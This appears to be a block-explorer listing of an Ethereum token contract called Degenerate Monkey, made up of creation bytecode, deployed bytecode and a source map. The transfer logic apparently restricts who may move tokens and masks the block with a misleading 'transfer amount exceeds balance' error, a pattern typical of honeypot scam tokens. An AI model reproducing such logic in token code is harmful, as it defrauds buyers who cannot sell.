ffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611c23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611be8578082015181840152602081019050611bcd565b50505050905090810190601f168015611c155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000611c4361201f565b91509150611c5a8183611c6190919063ffffffff16565b9250505090565b6000611ca383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206c565b905092915050565b611cb3610e2b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124226021913960400191505060405180910390fd5b611e678160405180606001604052806022815260200161234560229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebf81600f5461213290919063ffffffff16565b600f81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806000806000806000806000611f4c8a600c54600c5461217c565b9250925092506000611f5c611c36565b90506000806000611f6f8e878787612212565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828401905083811015612015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000600f5490506000600f549050612047600f54600f54611c6190919063ffffffff16565b82101561205f57600f54600f54935093505050612068565b81819350935050505b9091565b60008083118290612118576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120dd5780820151818401526020810190506120c2565b50505050905090810190601f16801561210a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161212457fe5b049050809150509392505050565b600061217483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b76565b905092915050565b6000806000806121a8606461219a888a61229b90919063ffffffff16565b611c6190919063ffffffff16565b905060006121d260646121c4888b61229b90919063ffffffff16565b611c6190919063ffffffff16565b905060006121fb826121ed858c61213290919063ffffffff16565b61213290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061222b858961229b90919063ffffffff16565b90506000612242868961229b90919063ffffffff16565b90506000612259878961229b90919063ffffffff16565b9050600061228282612274858761213290919063ffffffff16565b61213290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156122ae576000905061231b565b60008284029050828482816122bf57fe5b0414612316576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123d96021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200bd3d91f3e01dbfd5b812692a2e99727bac06d9816606aa3767673a8aa32fc9b64736f6c634300060c0033446567656e6572617465204d6f6e6b6579202d2068747470733a2f2f742e6d652f646567656e65726174656d6f6e6b65794552433230

Deployed Bytecode

0x6080604052600436106100f75760003560e01c80636fc3eaec1161008a57806395d89b411161005957806395d89b41146104a7578063a9059cbb14610537578063c3c8cd80146105a8578063dd62ed3e146105bf576100fe565b80636fc3eaec146103d357806370a08231146103ea578063715018a61461044f5780638da5cb5b14610466576100fe565b80632d838119116100c65780632d838119146102c0578063313ce5671461030f57806342966c681461033d5780634549b03914610378576100fe565b806306fdde0314610103578063095ea7b31461019357806318160ddd1461020457806323b872dd1461022f576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610644565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019f57600080fd5b506101ec600480360360408110156101b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e6565b60405180821515815260200191505060405180910390f35b34801561021057600080fd5b50610219610704565b6040518082815260200191505060405180910390f35b34801561023b57600080fd5b506102a86004803603606081101561025257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070e565b60405180821515815260200191505060405180910390f35b3480156102cc57600080fd5b506102f9600480360360208110156102e357600080fd5b81019080803590602001909291905050506107e7565b6040518082815260200191505060405180910390f35b34801561031b57600080fd5b5061032461086b565b604051808260ff16815260200191505060405180910390f35b34801561034957600080fd5b506103766004803603602081101561036057600080fd5b8101908080359060200190929190505050610882565b005b34801561038457600080fd5b506103bd6004803603604081101561039b57600080fd5b8101908080359060200190929190803515159060200190929190505050610959565b6040518082815260200191505060405180910390f35b3480156103df57600080fd5b506103e8610a10565b005b3480156103f657600080fd5b506104396004803603602081101561040d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a79565b6040518082815260200191505060405180910390f35b34801561045b57600080fd5b50610464610ac2565b005b34801561047257600080fd5b5061047b610c4a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b357600080fd5b506104bc610c73565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fc5780820151818401526020810190506104e1565b50505050905090810190601f1680156105295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561054357600080fd5b506105906004803603604081101561055a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d15565b60405180821515815260200191505060405180910390f35b3480156105b457600080fd5b506105bd610d33565b005b3480156105cb57600080fd5b5061062e600480360360408110156105e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da4565b6040518082815260200191505060405180910390f35b606060108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106dc5780601f106106b1576101008083540402835291602001916106dc565b820191906000526020600020905b8154815290600101906020018083116106bf57829003601f168201915b5050505050905090565b60006106fa6106f3610e2b565b8484610e33565b6001905092915050565b6000600f54905090565b600061071b84848461102a565b6107dc84610727610e2b565b6107d7856040518060600160405280602881526020016123fa60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078d610e2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b610e33565b600190509392505050565b6000600f54821115610844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612367602a913960400191505060405180910390fd5b600061084e611c36565b90506108638184611c6190919063ffffffff16565b915050919050565b6000601260009054906101000a900460ff16905090565b61088a610e2b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6109563382611cab565b50565b6000600f548311156109d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b816109f35760006109e384611f2f565b5050505050905080915050610a0a565b60006109fe84611f2f565b50505050915050809150505b92915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a51610e2b565b73ffffffffffffffffffffffffffffffffffffffff1614610a7157600080fd5b600047905050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aca610e2b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d0b5780601f10610ce057610100808354040283529160200191610d0b565b820191906000526020600020905b815481529060010190602001808311610cee57829003601f168201915b5050505050905090565b6000610d29610d22610e2b565b848461102a565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d74610e2b565b73ffffffffffffffffffffffffffffffffffffffff1614610d9457600080fd5b6000610d9f30610a79565b905050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124686024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123916022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156110f95750601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156113f95781601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561124b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123226023913960400191505060405180910390fd5b6112b7846040518060600160405280602681526020016123b360269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134c84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611b6e565b601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114a25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114fa5750601260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156117b957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611585576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561160b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123226023913960400191505060405180910390fd5b611677846040518060600160405280602681526020016123b360269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170c84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611b6d565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806118625750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123b36026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561193d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124436025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156119c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123226023913960400191505060405180910390fd5b611a2f846040518060600160405280602681526020016123b360269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac484600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611c23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611be8578082015181840152602081019050611bcd565b50505050905090810190601f168015611c155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000611c4361201f565b91509150611c5a8183611c6190919063ffffffff16565b9250505090565b6000611ca383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061206c565b905092915050565b611cb3610e2b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124226021913960400191505060405180910390fd5b611e678160405180606001604052806022815260200161234560229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b769092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebf81600f5461213290919063ffffffff16565b600f81905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806000806000806000806000611f4c8a600c54600c5461217c565b9250925092506000611f5c611c36565b90506000806000611f6f8e878787612212565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600080828401905083811015612015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000600f5490506000600f549050612047600f54600f54611c6190919063ffffffff16565b82101561205f57600f54600f54935093505050612068565b81819350935050505b9091565b60008083118290612118576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156120dd5780820151818401526020810190506120c2565b50505050905090810190601f16801561210a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161212457fe5b049050809150509392505050565b600061217483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b76565b905092915050565b6000806000806121a8606461219a888a61229b90919063ffffffff16565b611c6190919063ffffffff16565b905060006121d260646121c4888b61229b90919063ffffffff16565b611c6190919063ffffffff16565b905060006121fb826121ed858c61213290919063ffffffff16565b61213290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061222b858961229b90919063ffffffff16565b90506000612242868961229b90919063ffffffff16565b90506000612259878961229b90919063ffffffff16565b9050600061228282612274858761213290919063ffffffff16565b61213290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156122ae576000905061231b565b60008284029050828482816122bf57fe5b0414612316576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123d96021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212200bd3d91f3e01dbfd5b812692a2e99727bac06d9816606aa3767673a8aa32fc9b64736f6c634300060c0033

Deployed Bytecode Sourcemap

6677:8438:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8104:84;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8971:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8390:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;9155:325;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;11860:258;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8299:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;9492:92;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11411:441;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;13232:151;;;;;;;;;;;;;:::i;:::-;;8498:119;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5423:148;;;;;;;;;;;;;:::i;:::-;;5336:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;8200:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8625:179;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;12683:151;;;;;;;;;;;;;:::i;:::-;;8812;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;8104:84;8141:13;8175:5;8168:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8104:84;:::o;8971:169::-;9054:4;9071:39;9080:12;:10;:12::i;:::-;9094:7;9103:6;9071:8;:39::i;:::-;9128:4;9121:11;;8971:169;;;;:::o;8390:100::-;8443:7;8470:12;;8463:19;;8390:100;:::o;9155:325::-;9261:4;9278:40;9292:6;9300:9;9311:6;9278:13;:40::i;:::-;9329:121;9338:6;9346:12;:10;:12::i;:::-;9360:89;9398:6;9360:89;;;;;;;;;;;;;;;;;:11;:19;9372:6;9360:19;;;;;;;;;;;;;;;:33;9380:12;:10;:12::i;:::-;9360:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;9329:8;:121::i;:::-;9468:4;9461:11;;9155:325;;;;;:::o;11860:258::-;11926:7;11965:12;;11954:7;:23;;11946:78;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12035:19;12058:10;:8;:10::i;:::-;12035:33;;12086:24;12098:11;12086:7;:11;;:24;;;;:::i;:::-;12079:31;;;11860:258;;;:::o;8299:83::-;8340:5;8365:9;;;;;;;;;;;8358:16;;8299:83;:::o;9492:92::-;5922:12;:10;:12::i;:::-;5910:24;;:8;;;;;;;;;;;:24;;;5902:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9551:25:::1;9557:10;9569:6;9551:5;:25::i;:::-;9492:92:::0;:::o;11411:441::-;11501:7;11540:12;;11529:7;:23;;11521:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11604:17;11599:246;;11639:15;11663:19;11674:7;11663:10;:19::i;:::-;11638:44;;;;;;;11704:7;11697:14;;;;;11599:246;11746:23;11777:19;11788:7;11777:10;:19::i;:::-;11744:52;;;;;;;11818:15;11811:22;;;11411:441;;;;;:::o;13232:151::-;13298:15;;;;;;;;;;;13282:31;;:12;:10;:12::i;:::-;:31;;;13274:40;;;;;;13325:26;13354:21;13325:50;;13232:151;:::o;8498:119::-;8564:7;8591:9;:18;8601:7;8591:18;;;;;;;;;;;;;;;;8584:25;;8498:119;;;:::o;5423:148::-;5922:12;:10;:12::i;:::-;5910:24;;:8;;;;;;;;;;;:24;;;5902:69;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5530:1:::1;5493:40;;5514:6;::::0;::::1;;;;;;;;5493:40;;;;;;;;;;;;5561:1;5544:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5423:148::o:0;5336:79::-;5374:7;5401:6;;;;;;;;;;;5394:13;;5336:79;:::o;8200:87::-;8239:13;8272:7;8265:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8200:87;:::o;8625:179::-;8711:4;8728:46;8742:12;:10;:12::i;:::-;8756:9;8767:6;8728:13;:46::i;:::-;8792:4;8785:11;;8625:179;;;;:::o;12683:151::-;12749:15;;;;;;;;;;;12733:31;;:12;:10;:12::i;:::-;:31;;;12725:40;;;;;;12776:23;12802:24;12820:4;12802:9;:24::i;:::-;12776:50;;12683:151;:::o;8812:::-;8901:7;8928:11;:18;8940:5;8928:18;;;;;;;;;;;;;;;:27;8947:7;8928:27;;;;;;;;;;;;;;;;8921:34;;8812:151;;;;:::o;4653:106::-;4706:15;4741:10;4734:17;;4653:106;:::o;10485:354::-;10604:1;10587:19;;:5;:19;;;;10579:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10685:1;10666:21;;:7;:21;;;;10658:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10777:6;10747:11;:18;10759:5;10747:18;;;;;;;;;;;;;;;:27;10766:7;10747:27;;;;;;;;;;;;;;;:36;;;;10815:7;10799:32;;10808:5;10799:32;;;10824:6;10799:32;;;;;;;;;;;;;;;;;;10485:354;;;:::o;10855:537::-;10953:6;10961:9;10972:6;12945:10;;;;;;;;;;;12935:20;;:6;;;;;;;;;;;:20;;;:40;;;;;12969:6;;;;;;;;;;;12959:16;;:6;:16;;;12935:40;12931:281;;;12990:9;12977:10;;:22;;;;;;;;;;;;;;;;;;11025:1:::1;11007:20;;:6;:20;;;;10999:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11109:1;11088:23;;:9;:23;;;;11080:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11196;11218:6;11196:71;;;;;;;;;;;;;;;;;:9;:17;11206:6;11196:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;11176:9;:17;11186:6;11176:17;;;;;;;;;;;;;;;:91;;;;11301:32;11326:6;11301:9;:20;11311:9;11301:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11278:9;:20;11288:9;11278:20;;;;;;;;;;;;;;;:55;;;;11366:9;11349:35;;11358:6;11349:35;;;11377:6;11349:35;;;;;;;;;;;;;;;;;;12931:281:::0;;;13032:6;;;;;;;;;;;13022:16;;:6;:16;;;:40;;;;13052:10;;;;;;;;;;;13042:20;;:6;:20;;;13022:40;:63;;;;13079:6;;;;;;;;;;;13066:19;;:9;:19;;;13022:63;13018:193;;;11025:1:::1;11007:20;;:6;:20;;;;10999:70;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11109:1;11088:23;;:9;:23;;;;11080:71;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11196;11218:6;11196:71;;;;;;;;;;;;;;;;;:9;:17;11206:6;11196:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;11176:9;:17;11186:6;11176:17;;;;;;;;;;;;;;;:91;;;;11301:32;11326:6;11301:9;:20;11311:9;11301:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;11278:9;:20;11288:9;11278:20;;;;;;;;;;;;;;;:55;;;;11366:9;11349:35;;11358:6;11349:35;;;11377:6;11349:35;;;;;;;;;;;;;;;;;;13018:193:::0;;;13124:10;;;;;;;;;;;13114:20;;:6;:20;;;13113:51;;;;1315